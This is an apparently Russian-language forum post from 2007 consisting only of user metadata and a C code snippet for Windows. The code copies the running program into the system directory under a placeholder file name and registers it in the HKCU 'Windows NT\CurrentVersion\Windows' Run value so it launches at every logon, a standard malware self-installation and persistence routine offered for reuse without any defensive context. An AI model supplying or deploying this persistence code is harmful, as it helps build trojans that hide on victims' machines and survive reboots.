
07.04.2007, 18:50
|
|
Познающий
Регистрация: 10.03.2007
Сообщений: 49
Провел на форуме: 232747
Репутация:
45
|
|
Код:
void Copy(void)
{
char FileName[256],String[256];;
GetModuleFileName(0,FileName,256);
GetSystemDirectory(String,255);
lstrcat(String,"\\**имя_файла**");
CopyFile(FileName,String,TRUE);
}
DWORD Autorun(void)
{
char String[256];
HKEY hKey;
GetSystemDirectory(String,255);
lstrcat(String,"**имя_файла**");
DWORD ret = RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows",&hKey);
if (ret==ERROR_SUCCESS)
{
ret = RegSetValueEx(hKey,"Run",0,REG_SZ,(const unsigned char *)String,lstrlen(String));
}
if (ret==ERROR_SUCCESS)
return TRUE;
else
return FALSE;
}
|
|
|